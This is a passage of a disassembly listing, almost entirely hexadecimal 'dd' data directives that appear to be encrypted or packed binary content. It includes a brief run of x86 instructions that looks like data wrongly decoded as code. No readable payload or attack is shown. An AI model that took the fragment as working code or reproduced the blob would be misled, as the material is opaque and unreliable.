		dd 0C6C1FFF8h, 10811B52h, 439DB8F7h, 1E78BA9Bh,	6C0C7473h
		dd 33AD033h, 29A95014h,	0D8C85C32h, 211DB448h, 3E8B22ACh
		dd 9D98303Ah, 48826462h, 0C130EC52h, 0D12FEC5Dh, 1E128050h
		dd 0A1EA09C0h, 0A45A71EFh, 3414E8D7h, 4CF8E708h, 135CC348h
		dd 4881D3A8h, 0F5047023h, 4D5032F8h, 0B4984EC8h, 0F84240CFh
		dd 2C2FF00Ch, 15950D2h,	0B8795C9Fh, 0E0E1080Dh,	309E4BA6h
		dd 4400EF92h, 0C7934751h, 33F8002Ah, 25E2E4C5h,	2F121216h
		dd 70C809B7h, 7F7235B0h, 7D0C8011h, 533C060Eh, 588E00DCh
		dd 0D90D54E3h, 3A2FA87h, 9DD85B30h, 705A4DB2h, 9C4C5042h
		dd 42505619h, 704C25ABh, 0A161C09Eh, 18806263h,	0D9C3C485h
		dd 4C00F618h, 4F5AFED1h, 9403A059h, 8FF500F0h, 7B2F1C32h
		dd 5A0CC509h, 20180FC3h, 0CB7278B8h, 791264E5h,	1C50DC92h
		dd 7D8CA83h, 0D137E4B0h, 2B4954Ch, 2A7861BBh, 80ECF854h
		dd 9DA971Dh, 0D07183FCh, 28B56144h, 40C0562Bh, 0C7F51714h
		dd 714EC3DAh, 297C4044h, 0B00CCCA3h, 97815A67h,	8C994874h
		dd 8130458Eh, 98BE9D9Ch, 4F4C623Eh, 49C63723h, 93929450h
		dd 0D98A1E7Ch, 3D40E85Eh, 588193CEh, 0C848C4A9h, 7851E0C6h
		dd 0C1A76397h, 830C59Eh, 0C8CC595Eh, 9892C040h,	5C00094h
		dd 0A14761AAh, 3C171BB9h, 64A2161Fh, 98495974h,	1E3AD505h
		dd 0D260C0B3h, 6D416648h, 9104982Ch, 0BCAEAB81h, 0ECC4F418h
		dd 0D20730F2h, 0ED70A19Dh, 0C5888210h, 60442B6Dh, 21B5A4Ch
		dd 0E6450C63h, 0E8A0252Fh, 4DCBAE61h, 97608560h, 0C38DF9h
		dd 58A59027h, 0C66B948h, 6C6091D7h, 322F2446h, 88990F63h
		dd 81F0404h, 182565A6h,	4D78CBD4h, 601E70A7h, 9C61688h
		dd 0C8F07FA8h, 2FFB4097h, 7FA3FC77h, 9BE62694h,	0A0798008h
		dd 0B6613934h, 1CEACB16h, 0D498CCh, 0D333F054h,	6AD31D7h
		dd 959DBB1Fh, 21B07837h, 1930373h, 880F1929h, 0CCBB90B8h
		dd 0F9034E8Ah, 0C5DB3B7Eh, 0DA6790C2h, 4D470F77h, 42E0C839h
		dd 33123DA5h, 0F09F737Fh, 0F6C606F8h, 10F9485Ch, 561D2617h
		dd 8DDAE500h, 0F8CB1F95h, 9ABE00CCh, 94AB6348h,	0F6C1AFF7h
		dd 87405C41h, 96393980h, 1EB7F91Fh, 35B9E407h, 3EB08420h
		dd 3AB089Eh, 26C51CCBh,	7878A905h, 0A255351Fh, 0D7F81420h
		dd 0E700DA4Ch, 3E870F7Bh, 63905470h, 307EAA30h,	3D4CDB8h
		dd 0BE7A3BA3h, 0C80017EDh, 4209BD56h, 0F8CBEFC6h, 0A80263BAh
		dd 1FF055B0h, 0CE3C4CFFh, 0B1353FD7h, 82671A7h,	0CC8D4440h
		dd 0BFFD8002h, 802DC730h, 0F8E6F90Dh, 0B3B51888h, 67FEA020h
		dd 9C8DC70Ch, 3330A0h, 2913426Eh, 0BAEE46F0h, 653CC600h
		dd 204CBEE4h, 0EE5EE0D6h, 0D4C2505Ch, 8F60C62h,	0D7E07F24h
		dd 7180846Dh, 0C36A21E0h, 0CEB1B6F0h, 807901C1h, 872FB720h
		dd 600B8D93h, 0B4C678A3h, 9B320DCEh, 82FB102Ah,	8487689Ch
		dd 0AF0147D4h, 508C2810h, 0C1B1C610h, 8FC9B03h,	0F00F2583h
		dd 508D9CFFh, 69F1458h,	0EA96FDE7h, 0B605BA0Ch,	0C6DE66A4h
		dd 0A7AAFC0Fh, 44C072C2h, 3ADB7188h, 0D7964693h, 0CA8205E5h
		dd 0C29400B4h, 80A409D1h, 45C51103h, 0E4F71F6Ah, 3C2115BFh
		dd 4E8E4600h, 1C4AD92Ah, 0F650AE78h, 0BE18C208h, 0AAC854DEh
		dd 0FAF42010h, 0D78A5B15h, 820600E0h, 35C7D816h, 0A9DC3C5Ch
		dd 6751F150h, 905E3824h, 3D9A731Eh, 0F699F700h,	3ED3236Fh
		dd 0AC8A506Eh, 0A7FD00C5h, 0BEBAB537h, 39CB28D5h, 6CC20A9Dh
		dd 4860C18Ch, 723A30C3h, 0D71F5921h, 4979CC3Ah,	0BF81C70Ch
		dd 8FFAB8C2h, 23D81CA4h, 0F1F261B8h, 65AEE450h,	914609FCh
		dd 0B0228E8Dh, 4C48A5ACh, 1D000CD4h, 35DA7004h,	8A2E6Ah
		dd 0D0A60179h, 946CCA18h, 0A3F91200h, 4C5CB3FEh, 62B51D66h
		dd 0BEA8B0CDh, 46807542h, 9C7F4983h, 0BB9A5B0Ch, 0C0A46C60h
		dd 0C2B3C612h, 72F8460h, 19AF0E87h, 28981D5Ch, 905430BEh
		dd 0CA0788D8h, 5C5D3732h
		dd 0C44AF115h, 2D00203Fh, 1D978777h, 346950C9h,	0CB27EA3Eh
		dd 478F0A20h, 10755006h, 0A626F100h, 62E47F6Eh,	4631C0CCh
		dd 0E1F882E2h, 0BE382006h, 24D05BD1h, 19C2DA1h,	845C7377h
		dd 0C3F88545h, 5B80066Eh, 0C080AD3Eh, 9AB3BF58h, 13125D5Ch
		dd 9C089288h, 0F7FB0A96h, 0EF9108CCh, 4860E312h, 3A9BBAh
		dd 0BDFC60A6h, 0EAB535AAh, 1014EB13h, 7D6B8C01h, 0F8F38BA4h
		dd 7CD1879h, 1316A6B4h,	48F8C65Ch, 4CC7FB12h, 29EFC404h
		dd 7EECE200h, 651FD327h, 8B000EACh, 241E2633h, 0C15724D5h
		dd 0D2CD0660h, 36006803h, 869FDCB5h, 0C8E33A8Dh, 44961A9h
		dd 2001290Ch, 80DA04DBh, 4CEF1E18h, 0A050545Ch,	9044CE8Ch
		dd 84CF4808h, 1349E980h, 6C00FE82h, 3593A71Fh, 0F6338717h
		dd 48DE4C20h, 4808A7Fh,	4E0B110h, 5EE5AC07h, 0D0BCE8BDh
		dd 4B45147Fh, 8DC2FC25h, 5483F074h, 0C68B58BFh,	4C2E28Ah
		dd 0A1600800h, 754261Eh, 0DA40311Ch, 0B2D6031Fh, 2328C1CFh
		dd 344E6AC0h, 7630E500h, 0FEE17FBDh, 0E41D0004h, 0D49266BCh
		dd 0C04CC657h, 61CF1014h, 767E604h, 0F634C2ACh,	0BF2BC040h
		dd 8D94A704h, 93F128h, 0DB1BE0EFh, 34F902F6h, 2F98D03Fh
		dd 9BB9C063h, 139430FAh, 0CBA45Ch, 37786E35h, 91D59EFh
		dd 92348E2Ch, 2D8D9498h, 0A711A567h, 0D4C01083h, 0F100FF4Fh
		dd 47DB3EC9h, 1E3F1C3Ch, 9E945BACh, 9BCE1CD8h, 218EA700h
		dd 50A65C0Fh, 26DC46h, 0E40A9E1Ah, 86AB6892h, 724EAE00h
		dd 3AAD2366h, 373E14D8h, 3000A034h, 9C31CD56h, 0B0164FFBh
		dd 241F1F2Ah, 1A166090h, 0BE7821A8h, 9480FEC7h,	308DB5FAh
		dd 0BA2E2F09h, 5C580120h, 2881DC18h, 5F8E1383h,	585C33FBh
		dd 7FBE1F18h, 0C48750A2h, 62784CBBh, 277BAA0Fh,	1F74F640h
		dd 4C128FF8h, 842386C7h, 4604C477h, 0FD48C8EAh,	2FC5620Ch
		dd 4024B017h, 44122E6Ah, 10200625h, 0F4A25C2Bh,	906492A1h
		dd 0F8BE18B8h, 2B9120AFh, 97A2570Bh, 5BA82727h,	0E01005E8h
		dd 20C4308Ch, 0B30BEC8h, 40CC8819h, 0A10A0007h,	0E78A4E1Dh
		dd 3E285CD4h, 23328022h, 0F1EC0FFh, 18939D86h, 7E7203Eh
		dd 0D3EB4D9h, 3048ECE5h, 6178081Ch, 0E54EA304h,	48A48Ch
		dd 0DF1E7F81h, 0D896DB4Ch, 5471D424h, 172D9158h, 33012559h
		dd 4CE4B990h, 70C73024h, 686960BEh, 0A55C8EF6h,	2C1C4348h
		dd 0A9B700CFh, 8E6F6300h, 0AC424C68h, 0E0B5E400h, 0F6C20667h
		dd 0C3C59A04h, 0AC1179A7h, 0D5692Eh, 0F046F48Ah, 7188CFEh
		dd 0C6F06474h, 1290D37Bh, 0A12C3194h, 94F83023h, 255A2D0Ah
		dd 52885C04h, 2FBE84A2h, 0D008811h, 0F6682303h,	0E42C5Ch
		dd 678BA220h, 103E85FFh, 640425FDh, 38603188h, 0E99CBE51h
		dd 0DB281CC7h, 3B8F7973h, 21924DE6h, 9B0860h, 1D463CF6h
		dd 1E23F568h, 2C243AC0h, 415E0014h, 3C746A1Fh, 91E9A800h
		dd 5CDDDBF2h, 0B2041431h, 28268460h, 73320350h,	0C2A83826h
		dd 0C51F87FAh, 0C836AB8Eh, 202F00D8h, 0BEE61996h, 8C9479F1h
		dd 7F82AA80h, 24B31C0Dh, 0C587160h, 9201040h, 431B731Fh
		dd 0F000046Ch, 0F6EB90E3h, 2A8E2419h, 1DE29728h, 0CF4A09EEh
		dd 1DBE98A1h, 965E008Dh, 46658E4h, 4C9DD0DDh, 4145248h
		dd 0F9A93D28h, 5C1464C0h, 18F5617Fh, 0DD4CB7ACh, 33146020h
		dd 132B1E25h, 348DE4ACh, 0C952A811h, 8E16A500h,	24471B24h
		dd 0D3A0742Ch, 0A6318763h, 0CDA5FB33h, 0B6050800h, 1C93CD14h
		dd 0FBBED012h, 0C3C334C8h, 1052415Ah, 0E458508Ch, 0AC49A098h
		dd 46E85420h, 4C813490h, 73EFE1C9h, 28071068h, 8C60BD08h
		dd 0BACD8D8Bh, 0A3304048h, 510303A6h, 0F9CA8DEFh, 0BECD401Fh
		dd 0C828C09Ah, 2EA3CEE4h, 68640D3Ch, 7A5C05B8h,	3C74CAF4h
		dd 482BB18Dh, 0E060BEA3h, 20E4EA44h, 0F40FC5D2h, 80877621h
		dd 962ABCA4h, 19A60017h, 9561641Eh, 8A0F9CFEh, 1E4066Ah
		dd 0C9417A73h, 98619AEDh, 8DAD0800h, 0ACD959B4h, 13FC6229h
		dd 0BEA40448h, 0FF84D0BBh, 533A1B56h, 0D89878C7h, 44608D2Ch
		dd 488857B9h, 0A40C00D4h, 0BFED9CC7h, 14230642h, 38926A1Bh
		dd 71CDB930h, 168BCB1h,	0BBC6F50Dh, 304CB05Ch, 5E40C134h
		dd 8B1C30BEh, 0BA35AC58h, 70B44091h, 0D80A88D7h, 8064E342h
		dd 3EA43BA7h, 18DB6252h, 1C80A566h, 0FA1314A6h,	105CEF49h
		dd 4E732506h, 0B4183007h, 26028AE8h, 0E41318A6h, 12647268h
		dd 0D3FDB23Eh, 5DC12498h, 7C9474E9h, 23EF341Fh,	0AA0A0824h
		dd 10B0881Ch, 0BBE48F5Eh, 0DAB008B0h, 0F8204518h, 0F61F267Ch
		dd 59FA03C0h, 20DE6B3Eh, 0C0E00A4Ch, 368D95A5h,	68F1CADAh
		dd 7981728h, 0C9CCA940h, 8B00806Ch, 179ED1BCh, 7AC8BDA4h
		dd 4029678Dh, 0D409C0C9h, 8C006A14h, 98746935h,	11ED81Bh
		dd 0B0FC1734h, 31CE1AACh, 0FAE10088h, 82308DE0h, 0D3C740F2h
		dd 0C2BD03C6h, 2DA93E28h, 7745A819h, 1462A4D0h,	1C10FC27h
		dd 99CA9624h, 0F145DCE9h, 0D914E404h, 0BFFEB4D1h, 603C8DD0h
		dd 87F5201Bh, 72010AE7h, 0DB0F0371h, 0FCE1EC59h, 64A89074h
		dd 0C2C5F846h, 9600DF84h, 154AD66h, 68618B1Bh, 2037E34Bh
		dd 20C02128h, 0A164510h, 0B63500BBh, 26949D97h,	11E43EE0h
		dd 0BE3C0CBAh, 82E21AA7h, 59F04811h, 0E46D531Fh, 0AC28D72Ch
		dd 0C44501E8h, 0F042FC19h, 38C01670h, 0AEE35638h, 3DA0B868h
		dd 0D0038B43h, 0C5E08D96h, 0D4C8E002h, 6C1DECA3h, 0E01C0128h
		dd 5C11D8E2h, 1E6200B5h, 88366822h, 3B842C08h, 0DEADF083h
		dd 3690B414h, 21CBA6BAh, 14F00DCh, 3F043E83h, 18621C5Ch
		dd 2C6289FFh, 986CB809h, 0E2F64B02h, 8150FDBEh,	0BF359394h
		dd 0FA3CA022h, 2984753Fh, 0D1C845A3h, 41AEFF54h, 62D633C0h
		dd 8E468520h, 106DF425h, 612BF002h, 80E9C7C8h, 24A0A208h
		dd 86308D9Bh, 0BE3668B7h, 0A05F6B74h, 0E4271009h, 8C124F81h
		dd 9C401494h, 3E32375Bh, 90C39951h, 30D6A3C3h, 0BED2FB04h
		dd 20A2402Ch, 17BC7C4h,	0F81F44F6h, 4DBDC74h, 6C5C955Eh
		dd 3A250040h, 1E431A51h, 1447B58Eh, 13160802h, 0CA8C22D0h
		dd 0C220A072h, 1FB02C76h, 0B8C51514h, 2D0A6447h, 4584A143h
		dd 2F6088FAh, 5E60C182h, 0BD01E83Ch, 208DAED3h,	0F6F98881h
		dd 3ED1032Bh, 3828C407h, 1FBC07Bh, 0D084DFF8h, 820F3EB1h
		dd 64E41FB0h, 0D77C5898h, 9852F22Eh, 42255D8Bh,	0C08C5ACh
		dd 0DA48D724h, 0EE0050B8h, 0E49B7D77h, 33F33BAh, 0B1C6A587h
		dd 80856DCDh, 933489AAh, 1D5DE43Fh, 46C7F174h, 958018BBh
		dd 4EBD5CB9h, 45BC1C58h, 80FBAEA3h, 33CC5200h, 841E5638h
		dd 3CB88ECAh, 200020B2h, 68ADD7CDh, 4F3CC5DBh, 8BD30086h
		dd 96A84241h, 0BE340AABh, 2CB42E21h, 89B900CCh,	41E44F94h
		dd 0C65D313h, 7B872500h, 0F81CDF96h, 0B7CF0BB1h, 50017C7Fh
		dd 480ED6C1h, 0CEE2B580h, 0C051442Eh, 5D8508h, 0A4268246h
		dd 0C26740CBh, 7C2AD30h, 6CE0C0C3h, 37A7D84h, 5C363E56h
		dd 0DBE04FF6h, 0C70F0626h, 0A339E6h, 65C09058h,	0F9BE2622h
		dd 1A79358h, 6F3EA578h,	0BFC84042h, 48B887CFh, 0C4A8992Ch
		dd 3913DB9Fh, 7093BC85h, 10A2BAAFh, 0F5DECBEh, 18FC5994h
		dd 16102F30h, 65260F83h, 51792CDCh, 9E07732h, 13C743FDh
		dd 0A1CE9A3Ch, 0C626B384h, 1D8CA2D2h, 822C6AC5h, 20DA126Ch
		dd 0C2F0818Eh, 28F364E2h, 3ED40F3Ch, 0F3381815h, 0A2D71751h
		dd 0B341FADh, 80268F01h
		dd 0E320F8F2h, 6A760041h, 8096064Dh, 2B2C8ABEh,	0E3E02863h
		dd 36C245Eh, 8D92D2B1h,	18000D6Ah, 0ED749CC6h, 0A88A62DBh
		dd 8030F088h, 293CF398h, 5431A4CAh, 0EAC0E51Fh,	0C59BC62Ch
		dd 6CC93D1h, 0F04A2F5Bh, 0D090CF7Fh, 7C183E12h,	0EE9074CCh
		dd 26927DA6h, 0BEEC10ADh, 87488712h, 5CE2BE38h,	68ECE381h
		dd 0A8908490h, 1A68EB67h, 5B4893D0h, 2105BBDh, 0A61BAF54h
		dd 2E0268E6h, 96870724h, 96C732Dh, 0D019A435h, 62801DFh
		dd 61AA5BF8h, 8C3E1823h, 80386C47h, 108E6FDBh, 0B49849h
		dd 0E92FAC1h, 0FE95364Eh, 0B2322A03h, 135B1C33h, 40E9A8D6h
		dd 66E78F54h, 0D4384ADBh, 4CDA625h, 69C52002h, 3E24E0D2h
		dd 0E05C5022h, 6E342C18h, 6FFD62A0h, 0A8520D01h, 0A52848h
		dd 82AF27Eh, 55362DB4h,	0B91DD72Eh, 8E188539h, 0F849C4E6h
		dd 405C4465h, 0AC418483h, 28A4ADCCh, 2DB82556h,	0ECA0BC09h
		dd 82E677D1h, 0A444175Bh, 0D1343D37h, 8BE9482Ch, 20189850h
		dd 26D96938h, 22502402h, 0D7290860h, 53509425h,	8F20C0BAh
		dd 0C3B230C4h, 0D4BD4D05h, 78A278h, 0CABE9194h,	266C2EBh
		dd 0F62B1D0Ah, 0E0C1A45Bh, 4C0829F1h, 5C1B040Ch, 0E8F055CDh
		dd 0EFDB0132h, 258E4E88h, 63788036h, 2B8446B0h,	4CB209C8h
		dd 4E8EFF6h, 60EFB798h,	0BE208DB8h, 0C4F95D38h,	8B155C0Dh
		dd 0C0027B8h, 18E0515Bh, 373E10D5h, 0A32B1217h,	0D486D006h
		dd 0F72C8810h, 20E08027h, 5C184090h, 0D41F250h,	0BDC703E9h
		dd 8BFE8D9Ah, 98AA2829h, 0F809D100h, 4B4DFD4h, 97BD69B5h
		dd 8DDCD17Dh, 18B46872h, 0CDB0FF2Dh, 109500D8h,	34ED8C1Dh
		dd 5A5BAF5Ch, 1C985012h, 0AB042A26h, 50289ED0h,	9864DD5Ch
		dd 0D0A06628h, 14FF4D17h, 2AE610h, 3C308D16h, 1DE3290h
		dd 0B92D91D6h, 7124361Eh, 0B44262Ch, 0EAAE59FBh, 0EABC21ACh
		dd 296017Ch, 4CA85E02h,	0AD1269B2h, 3B6364FEh, 0F6C5820Ch
		dd 3F35E02Bh, 69905C25h, 19AE3B28h, 7549853Ah, 57595F00h
		dd 0E21B6951h, 6A1AF640h, 0F1024A03h, 7592F0EAh, 0CF84485Dh
		dd 5C8C3C1Ah, 0F8023710h, 7AEF22C0h, 15F3898h, 8803C884h
		dd 0CB8C253Dh, 0D8052999h, 0DCE0EA9Dh, 0ED82C0E1h, 8A8A21A1h
		dd 9C05824h, 26FDEA06h,	6D2E060Ah, 956FE708h, 0E6323E20h
		dd 3425311Dh, 0B98A5D06h, 51E78096h, 0E566A669h, 0EA590C64h
		dd 54302479h, 7228BC00h, 0E4C23140h, 0CECE605h,	0CC5EA08h
		dd 0DE32F822h, 271D6257h, 46E927C9h, 0FE7F09C6h, 0C0EC8430h
		dd 0F0252D88h, 67ABA805h, 848CC08Ch, 0D8F703C5h, 0B23F52F2h
		dd 81D0BF87h, 2996055Ah, 0EAD02DF9h, 0FD4B6D3Fh, 53E6CC48h
		dd 0BBDBB00h, 0F3821784h, 20DC1B9h, 9F158CD6h, 0C694055Dh
		dd 3E348C94h, 0D06D932h, 40FF545Dh, 8A510547h, 0EA1854E1h
		dd 59386561h, 0ECBA0052h, 8236DD03h, 0BDA402C2h, 696A6628h
		dd 0D5030541h, 1450738Ah, 40C482E4h, 3BF570Dh, 3718830Dh
		dd 7C04864Bh, 0B3731F0Ch, 74EC0059h, 20E510Ah, 81CF468h
		dd 14B9293Dh, 3F3A3C00h, 82C42A6Fh, 51F080Dh, 6E42102Fh
		dd 7590155h, 98EA3950h,	7F51BD2Eh, 49BD139h, 21109DBh
		dd 0DBB64A10h, 0F9BC80h, 2E19550Eh, 33A6789Ah, 0D50FCBA2h
		dd 0DBF81640h, 0DE491AEAh, 27C60361h, 0DA58B172h, 423449ACh
		dd 0D46046D8h, 15204C0Ch, 0C382E314h, 8E06909Bh, 0C8471253h
		dd 60BA905Bh, 69976B98h, 161649D5h, 8BBFF860h, 600CDF23h
		dd 1A29FFEAh, 4E240F69h, 9E497668h, 3FBC6820h, 7E3D216Eh
		dd 436EFE4Ch, 0DDBCC71h, 6020F85Dh, 63CE9594h, 0E890A551h
		dd 0F44DD67Dh, 6D67781Eh, 0E7A35EA0h, 0F6147606h, 7B2E78D9h
		dd 56486343h, 0B07FF159h, 815BD407h, 0AAE3D5ECh, 8C32286Eh
		dd 655391BDh, 4FD05459h, 0AC0373Bh, 31C4EF48h, 71D6DD76h
		dd 0A70F8054h, 875E20BBh, 0AE38252h, 0EC12146h,	0E6F41FAAh
		dd 42EA0660h, 89003211h, 0FB2959E8h, 7B055C67h,	2DD13A23h
		dd 5380A949h, 0C78165B7h, 0DDEFCCE1h, 6467EA76h, 3673FC8Dh
		dd 59DC0649h, 0C8909E9h, 7C7F4848h, 1F6D6A3Eh, 2A8CD7F7h
		dd 0EC5D1C5Eh, 0C1F63AAh, 23E94E5Ah, 6102C325h,	0D10834D0h
		dd 3C65C001h, 6EC4F624h, 55012004h, 8F1359E9h, 0FE14870Ch
		dd 1077E10Ch, 0C8B3C66h, 7A0A688Ch, 40DC8912h, 6055E7CFh
		dd 4C3A1F33h, 1D8F37E9h, 5C01A320h, 242C2B07h, 394A8B54h
		dd 7F286861h, 81BF2752h, 9347E90Dh, 0D1D78F03h,	9B45685Ch
		dd 989C898Dh, 6042E9E2h, 0D4F61497h, 17AC480h, 46D1520h
		dd 271AFDBBh, 5217D023h, 0C1004D7Dh, 0F78105E7h, 766D6714h
		dd 30CF1C69h, 47007C22h, 0E9FFC783h, 7DA38C12h,	0C2538233h
		dd 890A051Ch, 0CC381E3h, 0E90C8357h, 1082A830h,	29E68956h
		dd 81AEC681h, 0D02C96BDh, 0A5EDF04Bh, 0C1740A67h, 0E5300467h
		dd 40BCE907h, 0CE77FE42h, 0FFEE241Ch, 4E4CAC5Fh, 7351A03h
		dd 5D3402DAh, 8324328Bh, 7568A787h, 0A28E5816h,	8A4903E9h
		dd 94D93B8Ah, 9E663873h, 0BB0D3D4Ch, 3E57F2C7h,	537E74FFh
		dd 4911B85Fh, 536A603Ch, 6C7B850h, 310C8545h, 0E9183044h
		dd 0C36B71FDh, 0FAC9858h, 5DC6214h, 880810C4h, 0FD60D55Fh
		dd 58E728CEh, 0F8D4FB04h, 0AB50E92Ch, 0C7020DE9h, 73515C2Eh
		dd 0A3067C46h, 248904ECh, 77BFEBEEh, 33485520h,	631364Bh
		dd 691EFC0Dh, 84827787h, 42E08085h, 5A70D328h, 1AE9C30Ch
		dd 77B62265h, 8D3136EDh, 0E1E640E9h, 4471577Bh,	0DDF8DEA9h
		dd 0C1FEB1Bh, 0D943C4B9h, 284C294Dh, 498FFF8Ch,	0E9826C59h
		dd 0B22D0738h, 3168E0CCh, 61F0A90h, 598642DBh, 414C984h
		dd 48590BC4h, 0F2768C21h, 7A2C28F9h, 0D8F1A13Dh, 126FA7DBh
		dd 98084664h, 4CDDAA95h, 4841845Ch, 0C91BC155h,	5DB53111h
		dd 81E5D2E8h, 2C18364h,	1F5D0C87h, 9BB2528Eh, 0E95AD000h
		dd 34D4E8DBh, 227A4465h, 0D6184D45h, 65B05Ah, 625D7E9Dh
		dd 96E9DBF7h, 1D810340h, 0D84B8DEAh, 0FE5261Dh,	0DA2995A0h
		dd 0E95BA5C1h, 2E8D83EDh, 606D20B8h, 3004819Ah,	2A981D88h
		dd 2D8A6B84h, 994AB618h, 0AED4E158h, 0C70F8F6Dh, 5AD356C8h
		dd 8624485Dh, 76FA652h,	947989C4h, 9C890FC6h, 48D6DE26h
		dd 0CAF61784h, 0CD4749h, 7F7DC918h, 62428F50h, 5258C338h
		dd 0A0843941h
		db 6Bh,	0A6h, 5
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 409C5814h
		push	es
		add	ds:4DA8759h[ecx*8], edx
		pop	esp
		jmp	near ptr 0C4DDD598h
; ---------------------------------------------------------------------------
		dw 63BEh
		dd 81562940h, 3A511203h, 0C25A0668h, 2F0789F2h,	6F3B8410h
		dd 5854B1CCh, 3641385Fh, 0C0870608h, 0D1215C22h, 4C417BE9h
		dd 127F803h, 3BBE56BFh,	0ED32D443h, 8888F6A0h, 0FE89C3BCh
		dd 895FF924h, 2666E2h, 0CA87D129h, 0D8608BF2h, 4D9CF41h
		dd 0C11A13C0h, 0E78504EFh, 30DD1F60h, 44BD21D5h, 2F253BAh
		dd 429723F5h, 18AADAA8h, 8A5EF5A8h, 8CD70F41h, 2302C677h
		dd 31B2CD33h, 8B0D9E06h, 8298CC3Ch, 9A634468h, 0A8EF45C2h
		dd 2FC426A5h, 0D0944477h, 37E52D42h, 2954C70Fh,	1FA586D0h
		dd 59D3ECA1h, 5189AE85h, 0B8683E81h, 29DB2374h,	0E981D6BDh
		dd 27A842ADh, 0C0F20CD4h, 8B28C1C9h, 0EEECCC0Bh, 8D4D1D3Ah
		dd 0A4CE291Ch, 0C2920804h, 0EAC102E5h, 62195E40h, 16BC0899h
		dd 1471273Bh, 0E0068356h, 3ECFEDF6h, 0A6298B5Eh, 6536522Bh
		dd 22ECA176h, 0A76866A9h, 51ECD9B1h, 280DB4E8h,	3BACE9C8h
		dd 70D1D100h, 0C1170C72h, 0DAAE05EEh, 60534719h, 69F0612h
		dd 51E60102h, 9E3F5408h, 0BE8029E2h, 0E9F309D3h, 8F11529Fh
		dd 8F54C605h, 428A1D49h, 5D14532Ah, 62046D61h, 10124D24h
		dd 0B8004284h, 1B9543E5h, 587DC731h, 7B649226h,	98120E69h
		dd 5DFED61h, 31B2A4ACh,	7B75C2E8h, 13F78000h, 30CF75FEh
		dd 3E10C0C7h, 941CB050h, 51875C34h, 0E6271F04h,	557C670Ch
		dd 6647C5DCh, 23D1F384h, 71BE7A68h, 0A7190515h,	4A14D32Ch
		dd 10211AAh, 0E99DC380h, 4C96F183h, 5340750h, 0BE8C0804h
		dd 1DC5BD74h, 4B40CC46h, 5005EF29h, 0BA73415Eh,	200F05ECh
		dd 0B5039B6h, 47059A1Ah, 0D52937BFh, 9088010h, 271809E9h
		dd 4F755F76h, 1A6855D0h, 47DF2431h, 5ACCA429h, 5F4ADE83h
		dd 7FBB0D07h, 2992D609h, 5B17C05Ch, 25B99201h, 0D1A5F3Dh
		dd 0FCE91501h, 3132240Ch, 0CE062CD2h, 9BB6379Bh, 8298A45Ch
		dd 39532385h, 64935641h, 8AC45ABDh, 0FD159145h,	1AB91392h
		dd 17A926AAh, 0F6515A4h, 6802B22Ch, 40280FB5h, 810D8803h
		dd 65E3047h, 0F2F78109h, 21DB82F5h, 3183E1FEh, 30498D04h
		dd 37043E7Ch, 0F201628Ch, 8228684h, 50DF695Eh, 0C1553B60h
		dd 1985E335h, 0DBC1E115h, 44F36A16h, 180071Ch, 9685BDAh
		dd 58A8944Ch, 5503C281h, 1699513h, 88241FAh, 8320D822h
		dd 36093348h, 180D0631h, 0C33962E9h, 4A135986h,	0AA5C8938h
		dd 0DD6195FFh, 1E2F6297h, 0DAF70278h, 0FE0C49C0h, 1BD0F09h
		dd 906309D5h, 90F5299Eh, 75561C2Bh, 339A464h, 3EAF2574h
		dd 1E5E9524h, 0E9D5F7C0h, 0E546048h, 840FC00Bh,	686F5761h
		dd 0E4734458h, 1831B900h, 0F7514E25h, 505976C0h, 3F7326B8h
		dd 0C19F33DCh, 8766C58h, 873F20A9h, 501415A4h, 1F2C3F7h
		dd 4B74C2DDh, 81CFB870h, 4E9D09EFh, 0A9827DA6h,	0C0CD891h
		dd 0B66154DBh, 134E2E5h, 0EDC16625h, 0ECDDF702h, 6518BAF5h
		dd 8EF67863h, 6F763901h, 1978EEACh, 63C13D5Eh, 0E90C20C8h
		dd 59E95C74h, 542BE6D1h, 9BEE20A4h, 29329A45h, 0E8C19F30h
		dd 96F60B69h, 2CE4B397h, 7590493Ch, 969056DEh, 4A690859h
		dd 1C967C37h, 3688D22Ch, 0FA929AB1h, 0CA88AC1Dh, 0DE208FA8h
		dd 28C2807Ah, 1A1B023Eh, 5E092D40h, 0BF579640h,	6DEA6B01h
		dd 3C69E98Fh, 9C066FBBh, 0C45410Ch, 0A57BB40Fh,	3D316543h
		dd 5EA52494h, 8FCF8928h, 88E32416h, 5A450DFAh, 0C20A0D63h
		dd 2EA08358h, 6A68849Ch, 48A6B237h, 41580153h, 44817EC3h
		dd 63111500h, 5B010726h, 0E9C13BA4h, 41925613h,	5ED12E3h
		dd 834BBC36h, 0E5F8695Eh, 0D611F711h, 0BF0FC2E9h, 25E96F8Ch
		dd 49C51F80h, 0CEB832F1h, 0E00BED0Ch, 70CE0C18h, 1D00ACDh
		dd 1F985FFEh, 7B55C764h, 4F6AFF83h, 18FE4AC1h, 0F75FF6FFh
		dd 0BA52D701h, 7D1F7B90h, 0EA34A81h, 0FA294B42h, 8066942h
		dd 0F6091E5Ah, 0E4F87486h, 0CCE91213h, 83744ED1h, 0E18140FDh
		dd 334A397Fh, 479062B0h, 460BFDE8h, 3293664h, 58F7A2F5h
		dd 4C9E7034h, 0BDF02C9Ah, 667331Fh, 0A1533A75h,	7B815C34h
		dd 3101806Bh, 733160FDh, 4A087E49h, 648D2B12h, 655D0792h
		dd 5FCFD277h, 5B7F1D50h, 732CCF05h, 98532B40h, 4FED0806h
		dd 41B81E75h, 0CC2F1E0Ah, 7761025Dh, 589D1C0Bh,	0DB351011h
		dd 5BD7CBD0h, 0E4A0A409h, 0E7C1DFF7h, 10170858h, 7C4054B3h
		dd 896B404Ch, 0A159CD24h, 78270500h, 0F1EB011Ah, 0C6088DCAh
		dd 531202FDh, 33596E42h, 0EEB47231h, 0E2DD8801h, 1B4B1F72h
		dd 4A046549h, 0B2264C25h, 13299182h, 5F639005h,	0E913E0D3h
		dd 20536621h, 0E5A3A174h, 0EE1A5D26h, 1C68A0D0h, 4B839243h
		dd 350F00F2h, 0EE2090C5h, 14EF10CCh, 0EBFA5029h, 617845A8h
		dd 200CE561h, 0FBB8C9F3h, 9F56D624h, 0B32B3902h, 85DEC36Ah
		dd 9EF5A360h, 6F042C5Dh, 9490300Dh, 284C9D5Bh, 0E9050F68h
		dd 0EB29A19Fh, 0D322C8Bh, 83DA8913h, 0E7B0579Eh, 4E600FE9h
		dd 4111BDFDh, 6A3D5C75h, 51A27326h, 33055C05h, 45CB8FA2h
		dd 0E93BCCB4h, 80DD3A24h, 0A95452C2h, 0F0909E4h, 0E9137034h
